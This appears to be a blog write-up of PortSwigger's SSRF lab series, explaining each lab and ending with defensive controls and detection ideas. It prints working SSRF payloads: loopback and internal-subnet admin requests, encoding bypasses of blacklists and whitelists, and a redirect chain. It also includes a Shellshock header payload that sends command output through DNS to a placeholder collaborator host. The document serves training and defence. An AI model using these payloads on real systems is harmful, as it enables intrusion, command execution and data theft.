Server-side request forgery is often described as “make the server request a URL.” That is accurate, but too small.
The more useful framing is this:
SSRF is a network position bug. The attacker is not merely changing a string. They are borrowing the server’s routing table, DNS view, firewall position, internal trust, and sometimes its request headers.
The seven PortSwigger SSRF labs form a compact map of that boundary: direct loopback access, internal subnet discovery, blind callbacks, blacklist bypasses, redirect-following mistakes, header-to-CGI risk, and URL parser disagreement.
The map
| Lab group | Sink | Feedback | Core failure |
|---|---|---|---|
| local admin | stockApi |
HTTP response | backend can reach loopback admin |
| backend admin | stockApi |
status/content | backend can scan 192.168.0.0/24 |
| blind analytics | Referer |
OAST | analytics fetches attacker-controlled headers |
| blacklist bypass | stockApi |
HTTP response | filter checks strings, requester uses normalized URL |
| open redirect | stockApi + same-site redirect |
HTTP response | first hop is allowed, final hop is not revalidated |
| header-to-CGI | Referer + User-Agent |
OAST or answer endpoint | internal service inherits dangerous request header state |
| whitelist bypass | stockApi |
HTTP response | validator and requester disagree about the URL host |
The table is the method. For every SSRF sink, ask: who parses the URL, who resolves DNS, who follows redirects, and what network can that component reach?
Start with the boring direct case
The stock checker sends a URL to the backend:
POST /product/stock
Content-Type: application/x-www-form-urlencoded
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
Changing stockApi to http://localhost/admin returns the local admin page. Changing it again to:
http://localhost/admin/delete?username=carlos
performs the state-changing action.
That is the cleanest SSRF shape: the user cannot reach /admin, but the backend can. The vulnerable feature converts an external parameter into an internal request.
The second lab keeps the primitive but removes the known host. The target is somewhere in:
http://192.168.0.X:8080/admin
The signal is response status and content. One host returns the admin page, then /admin/delete?username=carlos solves the lab. Detection-wise, this looks like one business endpoint causing many backend requests across a private subnet.
Blind SSRF: first prove the request
The blind lab has no response body channel. Product-page analytics fetches the URL in the Referer header:
GET /product?productId=1
Referer: http://<oast-domain>/ref
That is enough to prove the primitive. You do not need data exfiltration before you have basic interaction.
PortSwigger restricts arbitrary third-party OAST services in these labs, so Collaborator/OAST domains are the reliable option. In normal work, if a lab truly requires reading a Collaborator DNS label and there is no equivalent return channel, the honest status is “needs OAST review,” not “almost solved.”
Blacklists validate representations, not destinations
The blacklist lab blocks obvious loopback and the literal path:
http://127.0.0.1/
http://127.1/admin
The working shape is:
http://127.1/%61dmin/delete?username=carlos
When this is submitted as form data, %61 travels as %2561, so the path is double encoded at the HTTP body layer. The filter does not see the literal admin, but the downstream request handling resolves it.
The durable lesson is not “try 127.1.” It is that a blacklist usually inspects a representation. Security decisions need to be made on the final normalized destination.
Redirects are second requests
The open-redirection lab blocks direct off-site URLs in stockApi, but accepts a same-site URL:
/product/nextProduct?path=http://192.168.0.12:8080/admin
The stock checker requests the same-site path, receives a redirect, and follows it to the internal admin host. The delete variant is:
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
This is why redirect handling belongs in SSRF defenses. Validating only the first URL is not enough. Every hop is a new destination decision.
Headers can be part of the SSRF surface
The Shellshock lab combines two boundaries:
- analytics uses
Refererto choose an internal target; - the internal CGI service carries
User-Agentinto a Bash environment.
The official proof shape is a minimal DNS callback:
() { :; }; /usr/bin/nslookup $(whoami).<collaborator-domain>
For this run, I used the lab’s own answer endpoint as the return channel: the internal host submitted answer=$(whoami) back to /submitSolution. That avoided a manual Collaborator dependency while keeping the validation inside the authorized Academy instance.
The broader point is that SSRF is not always only about the URL. Headers, proxy metadata, Host routing, and CGI environment construction can turn a blind request primitive into something more serious.
Parser disagreement is the expert-level footgun
The whitelist lab only allows:
stock.weliketoshop.net
The parser accepts embedded credentials:
http://username@stock.weliketoshop.net/
The final payload uses a double-encoded fragment:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
One layer sees the whitelisted host. A later decoding/request layer treats the #@stock... part as a fragment and connects to localhost:80.
This is the same class of mistake as many cache and path-normalization bugs: validation and execution are using different parsers or different decode stages.
Defender notes
The best SSRF defense is architectural: do not let users provide arbitrary backend URLs. Map a business identifier to a fixed backend destination. If dynamic fetching is truly required, apply a strict allowlist after normalization and DNS resolution, then repeat the check on every redirect hop.
Operational controls:
- block egress to loopback, link-local, RFC1918, and cloud metadata addresses;
- disable automatic redirects or revalidate every final URL;
- use one URL parser for validation and execution;
- strip user-controlled headers before internal proxying;
- require real authentication on internal admin endpoints;
- log outbound requests from application servers with source feature and request ID.
Detection ideas:
- backend requests to
127.0.0.1,127.1,localhost,169.254.169.254, or private subnets; - parameters named
url,uri,path,next,redirect,callback, orstockApicontaining private IPs, userinfo, encoded fragments, or OAST domains; - one application endpoint fanning out across many internal hosts;
- redirect chains from same-site URLs to private addresses;
- internal service logs showing unusual
User-Agent, forgedHost, or OAST domains.
SSRF is easiest to prevent when it is treated as privileged network access, not as a convenience wrapper around fetch(url).